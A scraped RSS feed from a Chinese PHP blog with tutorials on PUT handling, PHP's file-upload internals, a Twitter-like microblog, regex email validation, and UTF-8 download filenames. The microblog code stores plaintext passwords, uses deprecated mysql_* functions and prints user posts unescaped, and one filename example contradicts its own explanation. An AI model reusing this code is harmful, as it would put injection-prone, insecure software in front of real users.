PHP5研究室 - 国内Android用户的第一选择! http://www.phpv.net/ 为Android手机提供免费应用软件,ROM,免费游戏,破解刷机,汉化工具! 同时为Android开发者提供交流平台. Thu, 18 Jan 2018 11:58:26 +0000 Chiron ver1.0 zh-cn hourly 1 PHP 中文手册2010年最新版【带评论】 http://www.phpv.net/html/1716.html http://www.phpv.net/html/1716.html#comment Sun, 09 Jan 2011 00:35:00 +0000 http://www.phpv.net/html/1716.html 站点都更新了,手册这么重要的玩意不更新怎么行?

大家都知道,PHP中文手册在N年前因为更新太慢远远落后于英文版,于是被官方从http://php.net/docs.php文档页撤掉了。
中文文档小组的邮件列表也是很久都没有动静,无奈啊大家都太忙。

这个版本是由HonestQiao同学维护的,编译时间是2010年1月1日,带最新评论。

下载地址(下载解压后如打开无法正常查看,请从鼠标右键查看属性解锁)

 

功能:Features
----------------------------------------------------------------------------------
1. 最新PHP中文/英文手册,每周SVN同步到最新版本
2. 整合在线评论信息,蕴含巨大宝藏,学习进阶必备
3. CHM格式,方便随身携带,可与其他软件完美配合使用
4. 导航详细,索引完整,搜索方便
5. 需求征集,打造最易用PHP中文CHM手册

一、更新日志:ChangeLog
----------------------------------------------------------------------------------
2011年1月1日,V0.9.6提供测试,元旦快乐
2010年12月10日,2010演示版V0.9.5提供测试,纪念PHP5.3.4发布
2010年11月29日,2010演示版V0.9.4提供测试,修复大量内部跳转链接问题
2010年11月12日,2010演示版V0.9.3提供测试,开始修复手册中过期内容
2010年10月10日,2010演示版V0.9.2提供测试
2010年10月2日,正在完善相关处理脚本和程序,为正式发布做准备;因手册本身无实质变化,暂不上传本周版本!
2010年9月26日,2010演示版V0.9提供测试
2010年9月18日,2010演示版V0.8提供测试,9.18纪念版。
2010年9月9日,2010演示版V0.7提供测试,评论内PHP代码高亮,并加入手册新版本更新提醒功能(下次更新后,即可自动提示)。
2010年9月2日,2010演示版V0.6提供测试,特别纪念PHP手册中文翻译补完计划手册首次提交 PHP官方SVN。
2010年8月29日,2010演示版V0.5提供测试,加入在线中文和英文手册的连接,提供英文手册CHM整合评论版。
2010年8月17日,2010演示版V0.4提供测试,修正编码问题,可供Windows/CHM、ChmSee、iCHM等完好好使用!
2010年8月12日,2010演示版V0.3提供测试,版式完善,加上了CHM导航目录和索引,可供正式使用
2010年8月11日,2010演示版V0.2提供测试,样式修改基本完善
2010年8月5日,2010演示版V0.1提供测试,基本整合最新手册和评论
2010年8月1日,准备新版本,学习最新资料,准备代码和处理脚本
2008年3月19日,因官方问题,老版本暂停继续更新
2007年10月5日,开始提供本CHM手册


二、当前问题列表:BUG
----------------------------------------------------------------------------------
1. CHM左则目录没有目录细节:已处理
2. CHM左则索引基本没有:已处理
3. CHM导航信息与CHM内容编码不一致,导致部分chm查看器乱码:已处理
4. xCHM查看时导航乱码(主要因为xCHM自身问题,望各位提供解决方法)

三、说明:More
----------------------------------------------------------------------------------
1. 因为属于演示版,所以可能存在问题,例如可能版式、乱码等,但正在全力完善!
2. 请协助改进,与 http://docs.php.net/manual/en/index.php 对比测试
3. 如有问题,敬请告知,多谢了!
4. 反馈请致信 honestqiao@163.com,标题【PHP手册反馈】;亦可通过QQ/5601680、MSN/honestqiao@hotmail.com反馈
5. 一旦测试反馈和修改完善,就进入正式发布队列,每周更新
6. 下载后如打开无法正常查看,请从鼠标右键查看属性,点击解除锁定即可

 

来,再发一次下载地址

下载地址,点我!

]]>
PHP里模拟$_PUT http://www.phpv.net/html/1705.html http://www.phpv.net/html/1705.html#comment Tue, 10 Nov 2009 10:30:02 +0000 抽烟的蚊子 http://www.phpv.net/html/1705.html
 $_PUT = array();
if ('PUT' == $_SERVER['REQUEST_METHOD']) {
     parse_str(file_get_contents('php://input'), $_PUT);
 }

通过php://input得到的数据是raw data,所以需要用parse_str解析一下。

不过需要说明的是,当表单是enctype="multipart/form-data"类型的时候(就是上传文件那种类型),这种方法是无效的(此时 php://input为空),一旦PHP发现请求的Content-Type是multipart/form-data,就会无条件的代你处理表单数据,然后保存到$_FILES里,此时无法得到raw data,只能用一些偏门方法

以apache为例,修改httpd.conf(为了使用RequestHeader语法,请先激活header模块):

<Location "/demo.php">
     RequestHeader set Content-Type foobar
 </Location>

通过重置Content-Type请求头为foobar(只要不是multipart/form-data即可),此时php://input就有数据了,不过原本应有的$_FILES数据却不存在了,所以基本上只有演示上的意义,如果想得到raw data,只能自己根据数据生成,在PEAR里有类似的实现:HTTP_Request2_MultipartBody。

浏览器一般只允许使用GET/POST方法,虽然可以通过JS来发送PUT方法,但是还得编写代码,相对而言,使用命令行下的CURL命令则显得方便很多,在开发测试时很有用,所以学习一下还是必要的:

curl -X PUT http://www.domain.com/demo.php -d "id=1" -d "title=a"

这样就会通过PUT方法发送id, title数据,测试时demo.php的代码就类似上面的php://input。
]]>
PHP文件上传源码分析(RFC1867) http://www.phpv.net/html/1699.html http://www.phpv.net/html/1699.html#comment Sun, 27 Sep 2009 11:36:01 +0000 admin http://www.phpv.net/html/1699.html 文件上传,一般分为俩种方式FTP和HTTP, 对于我们的互联网应用来说: FTP上传虽然传输稳定, 但是易用性和安全性都是个问题. 你总不至于在用户要上传头像的时候告诉用户”请打开FTP客户端,上传文件到http://www.laruence.com/uploads/中, 并以2dk433423l.jpg命名”吧?

而基于HTTP的上传,相对来说易用性和安全性上就比FTP要增强了很多. 可以应用的上传方式有PUT, WEBDAV, 和RFC1867三种, 本文将分析在PHP中,是如何基于RFC1867实现文件上传的.

RFC1867

RCF1867是Form-based File Upload in HTML标准协议, RFC1867标准对HTML做出了两处修改:
 

1 为input元素的type属性增加了一个file选项。
2 input标记可以具有accept属性,该属性能够指定可被上传的文件类型或文件格式列表。

  
另外,本标准还定义了一种新的mime类型:multipart/form-data,以及当处理一个带有enctype=”multipart/form-data” 并且/或含有<input type=”file”>的标记的表单时所应该采取的行为。
  
举例来说,当HTML想让用户能够上传一个或更多的文件时,他可以这么写:

<form enctype="multipart/form-data" action="upload.php" method=post>
选择文件:
<input name="userfile" type="file">
文件描述:
<input name="description" type="text">
<input type="submit" value="上传">
</form>

这个表单, 大家一定不陌生, 而对于PHP来说, 它自己另外定义了一个默认表单元素MAX_FILE_SIZE, 用户可以通过这个隐藏的表单元素来建议PHP最多只容许上传文件的大小, 比如对于上面的例子, 我们希望用户上传的文件不能大于5000(5k)字节, 那么可以如下写:

<form enctype="multipart/form-data" action="upload.php" method=post>
<input type="hidden" value="5000" name="MAX_FILE_SIZE"> <!--文件大小-->
选择文件:
<input name="userfile" type="file">
文件描述:
<input name="description" type="text">
<input type="submit" value="上传">
</form>

姑且不说, 这个MAX_FILE_SIZE是多么的不可靠(所以基于浏览器的控制,都是不可靠的), 单纯从实现来讲, 我会慢慢介绍这个MAX_FILE_SIZE是如何起作用的.

当用户选择了一个文件(laruence.txt), 并填写好文件描述(”laruence的个人介绍”), 点击上传后, 发生了什么呢?

表单提交

在用户确定提交以后, 浏览器会发送如下类似格式的数据包到form中action属性指定的页面(在本例中是upload.php):

//请求头
POST /upload.php HTTP/1.0\r\n
...
Host: www.laruence.com\r\n
...
Content-length: xxxxx\r\n
...
Content-type: multipart/form-data, boundary=--------------7d51863950254\r\n
...\r\n\r\n
//开始POST数据内容
---------------7d51863950254
content-disposition: form-data; name="description"
laruence的个人介绍
---------------7d51863950254
content-disposition: form-data; name="userfile"; filename="laruence.txt"
Content-Type: text/plain
... laruence.txt 的内容...
---------------7d51863950254

接下来, 就是服务器, 是如何处理这些数据了.

接受上传

当Web服务器, 此处假设为Apache(另外假设PHP是以module方式安装在Apache上的), 接受到用户的数据时, 首先它根据HTTP请求头, 通过确定MIME TYPE为PHP类型, 然后经过一些过程以后(这部分,可以参看我之前的PHP Life Cycle ppt), 最终会把控制权交给PHP模块.

这个时候, PHP会调用sapi_activate来初始化一个请求, 在这个过程中, 首先判断请求类型, 此时是POST, 从而去调用sapi_read_post_data, 通过Content-type, 找到rfc1867的处理函数rfc1867_post_handler, 从而调用这个handler, 来分析POST来的数据.

关于rfc1867_post_handler这部分的源代码, 可以在mian/rfc1867.c找到, 另外也可以参看我之前的深入理解PHP之文件上传, 其中也列出的源代码.

然后, PHP通过boundary, 对于每一个分段, 都通过检查, 是否同时定义了:

	name和filename属性(有名文件上传)
没有定义name定义了filename(无名上传)
定义了name没有定义filename(普通数据),

从而进行不同的处理.

if ((cd = php_mime_get_hdr_value(header, "Content-Disposition"))) {
char *pair=NULL;
int end=0;

while (isspace(*cd)) {
++cd;
}

while (*cd && (pair = php_ap_getword(&cd, ';')))
{
char *key=NULL, *word = pair;

while (isspace(*cd)) {
++cd;
}

if (strchr(pair, '=')) {
key = php_ap_getword(&pair, '=');

if (!strcasecmp(key, "name")) {
//获取name字段
if (param) {
efree(param);
}
param = php_ap_getword_conf(&pair TSRMLS_CC);
} else if (!strcasecmp(key, "filename")) {
//获取filename字段
if (filename) {
efree(filename);
}
filename = php_ap_getword_conf(&pair TSRMLS_CC);
}
}
if (key) {
efree(key);
}
efree(word);
}

在这个过程中, PHP会去检查普通数据中,是否有MAX_FILE_SIZE.

 /* Normal form variable, safe to read all data into memory */
if (!filename && param) {
unsigned int value_len;
char *value = multipart_buffer_read_body(mbuff, &value_len TSRMLS_CC);
unsigned int new_val_len; /* Dummy variable */
......

if (!strcasecmp(param, "MAX_FILE_SIZE")) {
max_file_size = atol(value);
}

efree(param);
efree(value);
continue;
}

有的话, 就会按照它的值来检查文件大小是否超出.

if (PG(upload_max_filesize) > 0 && total_bytes > PG(upload_max_filesize)) {
cancel_upload = UPLOAD_ERROR_A;
} else if (max_file_size && (total_bytes > max_file_size)) {
#if DEBUG_FILE_UPLOAD
sapi_module.sapi_error(E_NOTICE,
"MAX_FILE_SIZE of %ld bytes exceeded - file [%s=%s] not saved",
max_file_size, param, filename);
#endif
cancel_upload = UPLOAD_ERROR_B;
}

通过上面的代码,我们也可以看到, 判断分为俩部, 第一部分是检查PHP默认的上传上限. 第二部分才是检查用户自定义的MAX_FILE_SIZE, 所以表单中定义的MAX_FILE_SIZE并不能超过PHP中设置的最大上传文件大小.

通过对name和filename的判断, 如果是文件上传, 会根据php的设置, 在文件上传目录中创建一个随机名字的临时文件:

 if (!skip_upload) {
/* Handle file */
fd = php_open_temporary_fd_ex(PG(upload_tmp_dir),
"php", &temp_filename, 1 TSRMLS_CC);
if (fd==-1) {
sapi_module.sapi_error(E_WARNING,
"File upload error - unable to create a temporary file");
cancel_upload = UPLOAD_ERROR_E;
}
}

返回文件句柄, 和临时随机文件名.

之后, 还会有一些验证,比如文件名合法, name合法等.

如果这些验证都通过, 那么就把内容读入, 写入到这个临时文件中.

.....
else if (blen > 0) {
wlen = write(fd, buff, blen); //写入临时文件.
if (wlen == -1) {
/* write failed */
#if DEBUG_FILE_UPLOAD
sapi_module.sapi_error(E_NOTICE, "write() failed - %s", strerror(errno));
#endif
cancel_upload = UPLOAD_ERROR_F;
}
}
....

当循环读入完成后, 关闭临时文件句柄. 记录临时变量名:

zend_hash_add(SG(rfc1867_uploaded_files), temp_filename,
strlen(temp_filename) + 1, &temp_filename, sizeof(char *), NULL);

并且生成FILE变量, 这个时候, 如果是有名上传, 那么就会设置:

$_FILES['userfile'] //name="userfile"

如果是无名上传, 则会使用tmp_name来设置:

$_FILES['tmp_name'] //无名上传

最终交给用户编写的upload.php处理.

这时在upload.php中, 用户就可以通过move_uploaded_file来操作刚才生成的文件了~

]]>
使用 PHP 在站点上构建类似 Twitter 的系统 http://www.phpv.net/html/1683.html http://www.phpv.net/html/1683.html#comment Wed, 15 Apr 2009 14:11:01 +0000 admin http://www.phpv.net/html/1683.html 2009 年 3 月 30 日

学习如何使用 PHP 为应用程序添加类似 Twitter 的界面。具体来讲,我们将展示如何允许用户发贴,将贴子转发给希望接收的其他用户,以及允许用户选择追随其他用户的贴子。

如果您曾经留意过,就会知道 Twitter 是 Web 2.0 世界最大的轰动事件之一。简单来说,Twitter(Twitter.com 上提供的一个服务)是一个简单的微博客服务,用户可以发最多 140 个字符的贴子(称作 tweet),回答 “你现在在做什么?” 之类的问题。用户可以追随他们感兴趣的人,也有自己的追随者。通过这种方式,可以将信息发布给追随者或是广泛地转发。

随 意浏览一下某个 Twitter 账户可以发现,用户常常发布关于很多不同话题的 tweet,从日常生活(例如 “我在吃三明治”)到更不平凡的话题。其中常常嵌入了图像、媒体文件和日志的链接。这些 URL 常常被 TinyURL 之类的服务缩短,主要是为了使贴子的总字符数不超过 140 个字符。

很多人喜欢上了 Twitter,使超短格式成了一种艺术形式,甚至将之用于与其他用户交谈(例如将他们的评论定向到 @user)。从这个简单的起点开始,涌现了大量支持 Twitter 的移动应用程序和其他工具。现在甚至还有专门为最有趣、最卓越和最详实的 tweet 而设置的奖项,另外还有跟踪不同 Twitter 应用程序的状态的在线应用程序。

很多其他站点和服务,例如 LinkedIn 和 Facebook 现在允许用户用仿照 Twitter 的方式更新他们的当前状态。换句话说,在 Facebook 更新状态需要使用短消息,当然,状态通常是回答 “你现在在干什么” 之类的问题。

为您自己的站点添加微博客或状态更新工具不需要做很多工作,但是却可以为用户带来乐趣和简单的交流方式。本文的目标是展示如何实现这个目的。但是,首先需要对您作一些假设。

首 先,假设您对 PHP 和 MySQL 有所了解。同时假设您可以访问某个运行 PHP 和 MySQL 的本地 Apache Web 服务器。对于本文,我在使用 Macintosh、Apache、MySQL 和 PHP(MAMP)的 MacBook Products 上进行开发,这个免费程序将整个开发环境打包到一个包中。但是,您应该能够毫无困难地在 Microsoft® Windows® 或 Linux® 上进行开发。最后,假设您已经有一个可以立即运行的应用程序,该应用程序现在有一些用户,您打算以某种方式将微博客或 tweeting 添加到该应用程序中。为此,我简化应用程序中侧重用户的一些方面(例如登录、管理个人文件等),而侧重于贴子。

设计应用程序的后端

简言之,Twitter 服务以两个名词为中心:用户和消息。如果您已经构建了一个应用程序,并且希望将类似 Twitter 的服务添加到应用程序中,那么很可能已经有了用户管理功能。如果还没有,那么需要采用某种方式使用一个数据库表(一个主键,通常是一个整数)、一个用户名(也是惟一的)、一个电子邮件地址和密码等标识每个用户。

tweet(即贴子)存储在一个 posts 表中,每个贴子有一个主键(某种连续整数)、一个指向发出该贴的用户的外键关系、贴子本身(限制为一定数量的字符)和日期/时间戳。

最容易令人感到迷惑的是显示用户追随关系的数据库表。这里需要某种方式记录用户 ID 和追随者 ID,使应用程序能够快速建立追随者列表,并轻松地将信息转发给那些已注册为要追随某用户的其他用户。

理解这些内容后,现在就可以着手建立这 3 个数据库表。使用清单 1 中的 SQL 代码创建第一个表,即 users 表(如果已经有一个 users 表,则可以跳过这一步)。


清单 1. users 表
				
CREATE TABLE `users` (
`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`username` VARCHAR( 255 ) NOT NULL ,
`email` VARCHAR( 255 ) NOT NULL ,
`password` VARCHAR( 8 ) NOT NULL ,
`status` ENUM( 'active', 'inactive' ) NOT NULL
) ENGINE = MYISAM ;


下面是第二个表,即 posts 表。


清单 2. posts 表
				
CREATE TABLE `posts` (
`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`user_id` INT NOT NULL ,
`body` VARCHAR( 140 ) NOT NULL ,
`stamp` DATETIME NOT NULL
) ENGINE = MYISAM ;

清单 3 显示了最后一个表,即 following 表。注意这个表有两个主键。


清单 3. following 表
				
CREATE TABLE `following` (
`user_id` INT NOT NULL ,
`follower_id` INT NOT NULL ,
PRIMARY KEY ( `user_id` , `follower_id` )
) ENGINE = MYISAM ;

然后,先创建一个名为 header.php 的文件,将所有用于 MySQL 的连接字符串放到该文件中。如果已经有一个这样的文件,可以跳过这一步。请务必在各处都包括这个文件,因为将来需要用到它。清单 4 展示了这个文件的内容。


清单 4. 样例 header.php 文件
				
$SERVER = 'localhost';
$USER = 'username';
$PASS = 'password';
$DATABASE = 'microblogger';


if (!($mylink = mysql_connect( $SERVER, $USER, $PASS))){
echo "<h3>Sorry, could not connect to database.</h3><br/>
Please contact your system's admin for more helpn";
exit;
}

mysql_select_db( $DATABASE );

请记住,还可以随意将任何其他类型的安全检查添加到这个 header.php 文件中。例如,可以检查一个会话变量中是否设置了一个用户 ID(表明该用户已经登录)。如果用户没有登录,那么可以将用户重定向到登录页面。本文不会深入讨论这一点,不过需要时可以很容易地添加安全检查。







创建输入表单

设置好后端表之后,就可以考虑处理数据插入和更新的 PHP。现在需要的是一些简单的函数,这些函数将:

  1. 允许用户登录和添加贴子。
  2. 将那些贴子转发给追随那个用户的人。
  3. 允许用户追随其他用户。

我 通常在模型-视图-控制器(Model-View-Controller,MVC)应用程序框架(例如 CodeIgniter)的上下文中工作,因为它提供了一套工具用于创建这些类型的应用程序。例如,我一般先创建两个模型(一个用于用户,另一个用于贴 子),这两个模型使我可以与 users、posts 和 following 表交互,然后从这两个模型开始继续前进。

由于您可能已经在使用不同的框架,所以我决定在此不使用上述方法。相反,我选择一种更简单的、独立于框架的方法。对于本文,我们走走捷径,直接将记录添加到 users 表中,以创建一系列测试用户,供应用程序使用。我创建 3 个用户,并将他们的用户名设为 janetommybill

然后,创建一个简单的名为 functions.php 的 PHP 文件,该文件将包含主要的功能。在该文件中要创建少量的函数,以支持微博客应用程序上下文中的动作。

如清单 5 所示,第一个函数是一个简单的函数,用于将内容添加到 posts 表中。


清单 5. 用于将内容添加到 posts 表中的函数
				
function add_post($userid,$body){
$sql = "insert into posts (user_id, body, stamp)
values ($userid, '". mysql_real_escape_string($body). "',now())";

$result = mysql_query($sql);
}

为了测试这个简单的函数,还需要添加另外两个 PHP 文件。一个是 index.php 文件,目前包含一个基本的小表单 — 后面将向页面添加更多内容。另一个 PHP 文件是 add.php,上述表单将被发布到该文件。清单 6 是 index.php 文件的摘录。请注意,在此使用一个 PHP 会话将一个用户 ID 值硬编码为 1,这是我的数据库中的用户 jane。现在这样做完全没有问题,但是在后面显然需要更改。


清单 6. index.php 文件摘录
				
<?php
session_start();
include_once('header.php');
include_once('functions.php');

$_SESSION['userid'] = 1;
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Microblogging Application</title>
</head>
vbody>

<?php
if (isset($_SESSION['message'])){
echo "<b>". $_SESSION['message']."</b>";
unset($_SESSION['message']);
}
?>
<form method='post' action='add.php'>
<p>Your status:</p>
<textarea name='body' rows='5' cols='40' wrap=VIRTUAL></textarea>
<p><input type='submit' value='submit'/></p>
</form>

</body>
</html>

此外还应注意,我在表单上为状态消息留下了空间,这将在 add.php 中动态地设置,如下面的清单所示。


清单 7. 用 add.php 文件将贴子添加到数据库中
				
<?php
session_start();
include_once("header.php");
include_once("functions.php");

$userid = $_SESSION['userid'];
$body = substr($_POST['body'],0,140);

add_post($userid,$body);
$_SESSION['message'] = "Your post has been added!";

header("Location:index.php");
?>

上述代码应该没有什么特别令人奇怪的东西。它只是接受表单的 body 字段和 PHP 会话中设置的 user ID,然后将它们传递给 functions.php 文件中的 add_post() 函数。然后,设置另一个会话变量(更新消息),并将用户重定向回 index.php 页面。

如果要测试这个小函数,惟一的方法是检查数据库中的 posts 表。这不太符合用户友好性,不是吗?这里需要的是更新主页上的贴子。为此,需要再将一个函数添加到 functions.php 文件中,并在主页上使用它。







添加一系列的更新

现在可以打开 functions.php 文件并在其中添??另一个函数。这一次,将函数命名为 show_posts()。它将显示特定用户 ID 的所有贴子,如下面的清单所示。


清单 8. show_posts() 函数
				
function show_posts($userid){
$posts = array();

$sql = "select body, stamp from posts
where user_id = '$userid' order by stamp desc";
$result = mysql_query($sql);

while($data = mysql_fetch_object($result)){
$posts[] = array( 'stamp' => $data->stamp,
'userid' => $userid,
'body' => $data->body
);
}
return $posts;

}

如果为这个函数传递一个用户 ID,它将在一个多维数组中按日期倒序的顺序返回那个用户发出的贴子。要使用该函数,只需在 index.php 上调用它,并检索那个用户的所有贴子。由于对于每个记录只需处理少量的数据,这种查询可以很好地进行扩展。

清单 9 是添加到 index.php 页面的代码,这些代码就放在前面添加的表单之后。通过使用 show_posts() 函数和会话变量,可以获得登录的用户发出的所有贴子。如果没有贴子,则显示某种错误消息。如果有贴子,则在一个表中逐个显示它们 — 或者,如果想别致一点,可以使用自己的级联样式表(CSS)。


清单 9. 在 index.php 页面上显示贴子
				
<?php
$posts = show_posts($_SESSION['userid']);

if (count($posts)){
?>
<table border='1' cellspacing='0' cellpadding='5' width='500'>
<?php
foreach ($posts as $key => $list){
echo "<tr valign='top'>n";
echo "<td>".$list['userid'] ."</td>n";
echo "<td>".$list['body'] ."<br/>n";
echo "<small>".$list['stamp'] ."</small></td>n";
echo "</tr>n";
}
?>
</table>
<?php
}else{
?>
<p><b>You haven't posted anything yet!</b></p>
<?php
}
?>

图 1 显示到目前为止的基本界面 — 还不错,几分钟就有这样的成绩。


图 1. 基本界面
基本界面

容 易的部分就完成了。现在有了一个基本的应用程序,用户可以发布状态,并看到它在页面上显示。但是,还缺少一个重要的部分:除了发布状态的人以外,没有人看 到状态更新。在下一节中,将创建一个简单的界面,其中列出系统中的所有用户,并且允许已登录的用户追随其他用户并看到他们的状态更新。





]]>
preg_match用法 http://www.phpv.net/html/1681.html http://www.phpv.net/html/1681.html#comment Wed, 15 Apr 2009 13:15:07 +0000 http://www.phpv.net/html/1681.html preg_match利用 preg_match(),我们可以完成字符串的规则匹配。如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。还有一个可选的第三参数可以让你把匹配的部分存在一个数组中。在验证数据时这个功能可以变得非常有用。
$string = "football";
if (preg_match('/foo/', $string)) {
// 匹配正确
}

上面的例子将成功匹配,因为单词 football 里面包含 foo。现在我们来试一个更复杂的,例如验证一个 Email 地址。
$string = "first.last@domain.uno.dos";
if (preg_match(
'/^[^0-9][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[@][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[.][a-zA-Z]{2,4}$/',
$string)) {
// 验证Email地址
}

这个例子将验证出此 Email 地址为正确格式。现在让我们来看看这段正则表达式所代表的各种规则。


PCRE 顾名思义,与在 Perl 中的正则表达式有相同的语法,所以每段正则表达式必须要有一对定界符。我们一般使用 / 为定界符。

开头的 ^ 和结尾的 $ 让PHP从字符串开头检查到结尾。假使没有 $,程序仍会匹配到 Email 的末尾。

[] 被用来限制许可输入类型。例如 a-z 允许所有的小写字母,A-Z 允许所有的大写字母,0-9 所有数字,等等,以及更多其他类型。

{} 被用来限制期望的字符数。例如 {2,4} 表示字符串的每一节可以有 2-4 字符长度,像是 .com.cn 或 .info。在这里, "." 并不算一个字符,因为 {2,4} 之前定义的许可输入类型只有大小写字母,故此段只匹配大小写字母

() 被用来合并小节,并定义字符串中必须存在的字符。(a|b|c) 能够匹配 a 或 b 或 c。

(.) 将匹配所有字符,而 [.] 只匹配 "." 本身。

要使用一些符号本身,必须在前增加一个 。这些字符有:( ) [ ] . * ? + ^ | $ ]]>
PHP框架有没有前途?是否适用于复杂的web开发框架 http://www.phpv.net/html/1678.html http://www.phpv.net/html/1678.html#comment Thu, 12 Mar 2009 14:18:19 +0000 admin http://www.phpv.net/html/1678.html PHP框架的繁荣是正确的发展方向吗?




做ROR有一年了, 感觉非常好.配合敏捷实践(除了pair, 由于是和美国工程师远程合作.)开发速度的确快.一共三个人写代码,短短半年, 项目就基本结束了....

现在新项目即将到来, 客户在php和rails之间难以取舍. 我也打算趁此机会了解一下php.
由于项目定制性还是比较高,想通过成熟的CMS等系统来改改估计是没戏。
从头开发又觉得太慢。于是想从开源框架入手。

经过了解才发现, php新兴的一些框架基本上清一色的学习(或者叫抄袭,特别是cakePHP, 那简直抄得太厉害了.)rails。而且这些框架还发展的很好,越来越受到php社区的欢迎。 比如国外cakePHP,国内的Fleaphp, QeePHP等等,就不一一列举了.

昨天用cakePHP做了个简单的demo, 确实抄rails那是抄的相当直白。 甚至连rake都还有相应的东西代替。除了migration和filter我没找到对应的东西。让我一个不懂php的人,都还是可以很快地上手了.

一方面感叹php抄rails这种彻底,另一方面也感叹这些抄袭之作的确也带来了php开发效率的提升。虽然由于php本身的原因,框架的引入对 性能的影响是比较大的。但是这些框架的出现大有重整php社区的意思。(至少客户就告诉我们,用rails不如用cakePHP,这样他们也不会引入更多 风险。他们还介绍他们美国几个团队都又从rails转回cakePHP了.)

我就纳闷儿了,当时还觉得rails就是冲着php的市场去的。。。现在反而觉得rails的思想拯救了php...

大家觉得是应该继续说服客户呢? 还是就用山寨rails了呢?



高手robbin的回复:
----------------------------------------------------------------


PHP和Python/Ruby的运行机制有一个本质区别:PHP是每次HTTP请求过来以后,初始化全部资源(例如创建数据库链接、加载系统类库,创建 缓存等等),处理完毕,释放全部资源,这不像Python/Ruby之类带有GC的脚本语言,Python/Ruby是初次启动的时候初始化资源,随后的 请求就不必再次初始化资源了。

这种机制的差异带来的区别就是:

1、PHP极难出现严重的内存泄露问题,随便你代码写的多烂,反正每个请求一执行完毕,所有资源统统释放光。而Python/Ruby则需要依赖GC来回收内存,因此稍有不慎,还是会出现GC无法释放的内存泄露问题。

2、PHP每次请求都要初始化资源,这个开销非常大。所以尽管PHP解析器本身的运行速度是极快的,但是一旦使用复杂的PHP框架,那么由于需要 每次请求的时候初始化整个框架,性能的下降非常厉害,你用一个很复杂的PHP框架的结果就是整体性能被Ruby远远甩开。这也是为什么PHP社区这么多年 来,并不怎么倾向于使用框架的原因之一。

3、由于PHP这种每请求初始化资源的机制,也造成了PHP添加跨请求的高级特性相当困难,这是PHP本身一个很大的限制,但是反过来说,正是这 种限制使得PHP始终保持在一个比较简单的web语言上面,而正是这一点才是PHP得以成为互联网第一Web编程语言的原因,因此也未必就不好。

总之,PHP和Ruby的差异还是很大的,不适合放在一起比较,其实应该比较的是Ruby和Python才对。

所以我觉得Rails这种框架性做法被PHP跟风以后,其实是把PHP带上了邪路,所以不如说是Rails在误导PHP的发展。顺便多说一 句:DHH在编写basecamp之前,一直是用PHP的,并且自己还写了一个PHP的快速开发框架,他改用ruby以后,把当初自己写的PHP框架也移 植过来了,这个框架实际上是Rails最初的原型。那么为什么DHH当初不直接基于PHP做Rails呢?非要改用ruby以后,才发表rails呢?你 看看PHP这种运行机制就知道了,PHP做复杂的web开发框架并不是一条光明的道路。
]]>
如何在PHP下载文件名中解决乱码 http://www.phpv.net/html/1675.html http://www.phpv.net/html/1675.html#comment Fri, 06 Mar 2009 10:58:02 +0000 抽烟的蚊子 http://www.phpv.net/html/1675.html 通过把Content-Type设置为application/octet-stream, 可以把动态生成的内容当作文件来下载,相信这个大家都会。 那么用Content-Disposition设置下载的文件名, 这个也有不少人知道吧。 基本上,下载程序都是这么写的:

<?php
$filename = "document.txt";
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . $filename);

print "Hello!";
?>

这样用浏览器打开之后,就可以下载document.txt。

但是,如果$filename是UTF-8编码的,有些浏览器就无法正常处理了。 比如把上面那个程序稍稍改一下:

<?php
$filename = "中文 文件名.txt";
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . $filename);

print "Hello!";
?>

把程序保存成UTF-8编码再访问,IE6下载的文件名就会乱码。 FF3下下载的文件名就只有“中文”两个字。Opera 9下一切正常。

输出的header实际上是这样子:

Content-Disposition: attachment; filename=中文 文件名.txt

其实按照RFC2231的定义, 多语言编码的Content-Disposition应该这么定义:

Content-Disposition: attachment; filename*="utf8''%E4%B8%AD%E6%96%87%20%E6%96%87%E4%BB%B6%E5%90%8D.txt"

即:

  • filename后面的等号之前要加 *
  • filename的值用单引号分成三段,分别是字符集(utf8)、语言(空)和urlencode过的文件名。
  • 最好加上双引号,否则文件名中空格后面的部分在Firefox中显示不出来
  • 注意urlencode的结果与php的urlencode函数结果不太相同,php的urlencode会把空格替换成+,而这里需要替换成%20

经过试验,发现几种主流浏览器的支持情况如下:

IE6attachment; filename="<URL编码之后的UTF-8文件名>"
FF3attachment; filename="UTF-8文件名"
attachment; filename*="utf8''<URL编码之后的UTF-8文件名>"
O9attachment; filename="UTF-8文件名"
Safari3(Win)貌似不支持?上述方法都不行

这样看来,程序必须得这样写才能支持所有主流浏览器:

<?php

$ua = $_SERVER["HTTP_USER_AGENT"];

$filename = "中文 文件名.txt";
$encoded_filename = urlencode($filename);
$encoded_filename = str_replace("+", "%20", $encoded_filename);

header('Content-Type: application/octet-stream');

if (preg_match("/MSIE/", $ua)) {
header('Content-Disposition: attachment; filename="' . $encoded_filename . '"');
} else if (preg_match("/Firefox/", $ua)) {
header('Content-Disposition: attachment; filename*="utf8\'\'' . $filename . '"');
} else {
header('Content-Disposition: attachment; filename="' . $filename . '"');
}

print 'ABC';
?>
]]>
PHP中文简繁互转代码 完美支持大陆、香港、台湾及新加坡 http://www.phpv.net/html/1674.html http://www.phpv.net/html/1674.html#comment Wed, 04 Mar 2009 17:19:35 +0000 esayr http://www.phpv.net/html/1674.html 利用MediaWiki 作中文互换,支持不同地方中文用字上的分別(大陆、香港、台湾及新加坡)。

例子:

(简 > 繁)

面包 > 麵包 (zh-tw)
寮国 > 老撾 (zh-hk)
中国人寿 > 中國人壽 (zh-hk)
罗纳尔多 > 朗拿度 (zh-hk)



(繁 > 簡)

記憶體 > 内存 (zh-cn)
布殊 > 布什 (zh-cn)
資料庫 > 数据库(zh-cn)

使用方法

1. 下载 MediaWiki: (http://www.mediawiki.org/wiki/MediaWiki),解压在路径如:/var/lib/mediawiki-1.13.3

2. 下载 mediawiki-zhconverter,解压及把 mediawiki-zhconverter.inc.php 复制到你 PHP 程序中

3. 在你的程序中设置 MediaWiki 路径, 及引用 mediawiki-zhconverter

